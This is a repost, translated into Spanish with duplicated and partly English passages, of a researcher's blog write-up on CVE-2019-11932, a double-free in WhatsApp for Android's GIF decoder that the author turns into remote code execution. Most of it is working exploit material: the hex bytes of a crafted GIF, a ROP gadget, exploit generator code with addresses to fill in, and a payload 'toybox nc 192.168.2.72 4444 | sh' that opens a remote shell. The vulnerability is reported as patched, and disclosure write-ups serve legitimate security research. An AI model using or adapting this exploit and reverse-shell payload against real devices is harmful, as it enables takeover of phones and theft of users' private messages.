
Voy a compartir una vulnerabilidad de doble liberación que descubrí en WhatsApp para Android, y cómo la convertí en un RCE. Informé de esto a Facebook. Facebook lo reconoció y lo parcheó oficialmente en la versión 2.19.244 de WhatsApp. Facebook ayudó a reservar CVE-2019-11932 para este problema.
Usuarios de WhatsApp, por favor actualicen a la última versión de WhatsApp (2.19.244 o superior) para mantenerse a salvo de este fallo.
Los pasos son los siguientes:
Una de ellas podría ser como Documento a través de WhatsApp (es decir, presionando el botón del clip y eligiendo Documento para enviar el GIF corrupto). Si el atacante está en la lista de contactos del usuario (es decir, es un amigo), el GIF corrupto se descarga automáticamente sin ninguna interacción del usuario.
Tenga en cuenta que el usuario no tiene que enviar nada, porque con solo abrir la Galería de WhatsApp se desencadena el fallo. No es necesario tocar nada más después de presionar la Galería de WhatsApp.
Cuando un usuario de WhatsApp abre la vista de Galería en WhatsApp para enviar un archivo multimedia, WhatsApp lo parsea con una biblioteca nativa llamada libpl_droidsonroids_gif.so para generar la vista previa del archivo GIF. libpl_droidsonroids_gif.so es una biblioteca de código abierto cuyo código fuente está disponible en https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Un archivo GIF contiene múltiples fotogramas codificados. Para almacenar los fotogramas decodificados, se utiliza un búfer llamado rasterBits. Si todos los fotogramas tienen el mismo tamaño, rasterBits se reutiliza para almacenar los fotogramas decodificados sin reasignación. Sin embargo, rasterBits se reasignaría si se cumple una de las tres condiciones siguientes:
La reasignación es una combinación de free y malloc. Si el tamaño de la reasignación es 0, simplemente es un free. Supongamos que tenemos un archivo GIF que contiene 3 fotogramas con tamaños de 100, 0 y 0.
Esto da como resultado una vulnerabilidad de doble liberación. El punto de activación se puede encontrar en decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
En Android, una doble liberación de una memoria de tamaño N hace que dos asignaciones de memoria posteriores de tamaño N devuelvan la misma dirección.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
Cómo un fallo de doble liberación en WhatsApp se convierte en RCE 14 minutos de lectura EN ESTA PÁGINA DEMO VULNERABILIDAD DE DOBLE LIBERACIÓN EN DDGIFSLURP EN DECODING.C EN LIBPL_DROIDSONROIDS_GIF CONTROL DEL REGISTRO PC LIDIAR CON ASLR Y W^X UNIENDO TODO VERSIONES AFECTADAS VECTORES DE ATAQUE In this blog post, I’m going to share about a double-free vulnerability that I discovered in WhatsApp for Android, and how I turned it into an RCE. I informed this to Facebook. Facebook acknowledged and patched it officially in WhatsApp version 2.19.244. Facebook helped to reserve CVE-2019-11932 for this issue.
WhatsApp users, please do update to latest WhatsApp version (2.19.244 or above) to stay safe from this bug.
Demo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Google Drive link to download if the above link is not accessible https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
Los pasos son los siguientes:
0:16 El atacante envía un archivo GIF al usuario a través de cualquier canal Una de ellas podría ser como Documento a través de WhatsApp (es decir, presionando el botón del clip y eligiendo Documento para enviar el GIF corrupto). Si el atacante está en la lista de contactos del usuario (es decir, es un amigo), el GIF corrupto se descarga automáticamente sin ninguna interacción del usuario. 0:24 El usuario quiere enviar un archivo multimedia a cualquiera de sus amigos de WhatsApp. Entonces presiona el botón del clip y abre la Galería de WhatsApp para elegir un archivo multimedia que enviar a su amigo. Tenga en cuenta que el usuario no tiene que enviar nada, porque con solo abrir la Galería de WhatsApp se desencadena el fallo. No es necesario tocar nada más después de presionar la Galería de WhatsApp. 0:30 Como WhatsApp muestra vistas previas de cada archivo multimedia (incluido el GIF recibido), se desencadenará el fallo de doble liberación y nuestro exploit de RCE. Vulnerabilidad de doble liberación en DDGifSlurp en decoding.c en libpl_droidsonroids_gif Cuando un usuario de WhatsApp abre la vista de Galería en WhatsApp para enviar un archivo multimedia, WhatsApp lo parsea con una biblioteca nativa llamada libpl_droidsonroids_gif.so para generar la vista previa del archivo GIF. libpl_droidsonroids_gif.so es una biblioteca de código abierto cuyo código fuente está disponible en https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Un archivo GIF contiene múltiples fotogramas codificados. Para almacenar los fotogramas decodificados, se utiliza un búfer llamado rasterBits. Si todos los fotogramas tienen el mismo tamaño, rasterBits se reutiliza para almacenar los fotogramas decodificados sin reasignación. Sin embargo, rasterBits se reasignaría si se cumple una de las tres condiciones siguientes:
La reasignación es una combinación de free y malloc. Si el tamaño de la reasignación es 0, simplemente es un free. Supongamos que tenemos un archivo GIF que contiene 3 fotogramas con tamaños de 100, 0 y 0.
Esto da como resultado una vulnerabilidad de doble liberación. El punto de activación se puede encontrar en decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } En Android, una doble liberación de una memoria de tamaño N hace que dos asignaciones de memoria posteriores de tamaño N devuelvan la misma dirección.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
En el fragmento anterior, la variable $foo se liberó dos veces. Como resultado, las dos asignaciones siguientes ($20 y $21) devuelven la misma dirección. Ahora observe la estructura struct GifInfo en gif.h struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
A continuación, creamos un archivo GIF con tres fotogramas de los siguientes tamaños: sizeof(GifInfo) 0 0
Cuando se abre la Galería de WhatsApp, dicho archivo GIF desencadena el fallo de doble liberación en el búfer rasterBits con tamaño sizeof(GifInfo). Curiosamente, en la Galería de WhatsApp un archivo GIF se procesa dos veces. Cuando dicho archivo GIF se procesa de nuevo, se crea otro objeto GifInfo. Debido al comportamiento de doble liberación en Android, el objeto GifInfo info e info->rasterBits apuntarán a la misma dirección. DDGifSlurp() decodificará entonces el primer fotograma en el búfer info->rasterBits, sobrescribiendo así info y su rewindFunction(), que se llama justo al final de la función DDGifSlurp().
El archivo GIF que necesitamos crear es el siguiente: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
Contiene cuatro fotogramas: Fotograma 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF Fotograma 2: 2C 00 00 00 00 1C 0F 00 00 00 00 Fotograma 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Fotograma 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 La siguiente secuencia es lo que sucede cuando se abre la Galería de WhatsApp:
Primer parseo: Inicialización: GifInfo info = malloc(168); Fotograma 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Fotograma 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Fotograma 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Fotograma 4: no importa, está ahí para que este archivo GIF sea válido Segundo parseo: Inicialización: GifInfo info = malloc(168); Fotograma 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Fotogramas 2, 3 y 4: no importa Fin: info->rewindFunction(info); Debido al fallo de doble liberación que ocurre en el primer parseo, info e info->rasterBits apuntan ahora a la misma ubicación. Con el primer fotograma diseñado como se ha dicho, podríamos controlar rewindFunction y el PC cuando se llama a info->rewindFunction(info);. Tenga en cuenta que todos los fotogramas están codificados con LZW. Debemos usar un codificador LZW para codificar los fotogramas. El GIF anterior provoca un crash como se muestra a continuación:
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
Después de controlar el PC, queremos lograr la ejecución remota de código. En Android, no podemos ejecutar código en regiones no ejecutables debido a W^X (es decir, pila y montón). La forma más fácil de lidiar con W^X en nuestro caso es ejecutar el siguiente comando:
system("toybox nc 192.168.2.72 4444 | sh"); Para eso, necesitamos que el PC apunte a la función system() en libc.so y que X0 apunte a "toybox nc 192.168.2.72 4444 | sh". Esto no se puede hacer directamente. Primero debemos hacer que el PC salte a un gadget intermedio, que establece X0 para que apunte a "toybox nc 192.168.2.72 4444 | sh" y salte a system(). Del código de desensamblado alrededor de info->rewindFunction(info);, podemos ver que tanto X0 como X19 apuntan a info->rasterBits (o info, porque ambos apuntan a la misma ubicación), mientras que X8 es en realidad info->rewindFunction.
Desensamblado alrededor de info->rewindFunctionHay un gadget en libhwui.so que satisface perfectamente nuestro propósito:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 Digamos que la dirección del gadget anterior es AAAAAAAA y la dirección de la función system() es BBBBBBBB. El búfer rasterBits (fotograma 1) antes de la codificación LZW se ve así:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. En un sistema Android normal, dado que todos los procesos se generan a partir de Zygotes, incluso con ASLR nuestras direcciones AAAAAAAA y BBBBBBBB no cambian si WhatsApp se mata y se reinicia. Sin embargo, no sobreviven a un reinicio del sistema. Para tener AAAAAAAA y BBBBBBBB fiables, necesitamos una vulnerabilidad de divulgación de información que nos dé la dirección base de libc.so y libhwui.so. Esa vulnerabilidad está fuera del alcance de esta entrada de blog.
Simplemente compila el código de este repositorio. Ten en cuenta que la dirección de system() y la del gadget deben reemplazarse por la dirección real obtenida mediante una vulnerabilidad de divulgación de información (que no se cubre en esta entrada de blog). /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);
Run the code to generate the corrupted GIF file:
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
Luego copia el contenido a un archivo GIF y envíalo como Documento con WhatsApp a otro usuario de WhatsApp. Ten en cuenta que no debe enviarse como archivo Multimedia, de lo contrario WhatsApp intenta convertirlo a MP4 antes de enviarlo. Cuando el usuario recibe el archivo GIF malicioso, no ocurre nada hasta que el usuario abre la Galería de WhatsApp para enviar un archivo multimedia a su amigo.
El exploit funciona bien hasta la versión 2.19.230 de WhatsApp. La vulnerabilidad está oficialmente parcheada en la versión 2.19.244 de WhatsApp.
El exploit funciona bien para Android 8.1 y 9.0, pero no funciona para Android 8.0 y versiones anteriores. En las versiones antiguas de Android, el double-free todavía podría activarse. Sin embargo, debido a las llamadas a malloc realizadas por el sistema después del double-free, la aplicación simplemente se bloquea antes de llegar al punto en el que podríamos controlar el registro PC.
Ten en cuenta que Facebook informó al desarrollador del repositorio android-gif-drawable sobre el problema. La corrección de Facebook también se fusionó en el repositorio original en un commit del 10 de agosto. La versión 1.2.18 de android-gif-drawable está a salvo del bug de double-free.
Con la explotación anterior, podemos tener dos vectores de ataque:
Escalación local de privilegios (de una aplicación de usuario a WhatsApp): se instala una aplicación maliciosa en el dispositivo Android. La aplicación recopila las direcciones de las bibliotecas de zygote y genera un archivo GIF malicioso que resulta en ejecución de código en el contexto de WhatsApp. Esto permite que la aplicación maliciosa robe archivos en el sandbox de WhatsApp, incluida la base de datos de mensajes.
Ejecución remota de código: Combinando con una aplicación que tenga una vulnerabilidad remota de divulgación de información de memoria (por ejemplo, un navegador), el atacante puede recopilar las direcciones de las bibliotecas de zygote y crear un archivo GIF malicioso para enviarlo al usuario a través de WhatsApp (debe ser como adjunto, no como imagen a través del Selector de Galería). En cuanto el usuario abre la vista de Galería en WhatsApp (que nunca envía archivos multimedia a sus amigos, ¿verdad?), el archivo GIF activará una shell remota en el contexto de WhatsApp.
#Fuente Afnan Sadhayo Infiniteloopers.com
No soy dueño de esto, si tienes problemas, por favor contacta al propietario.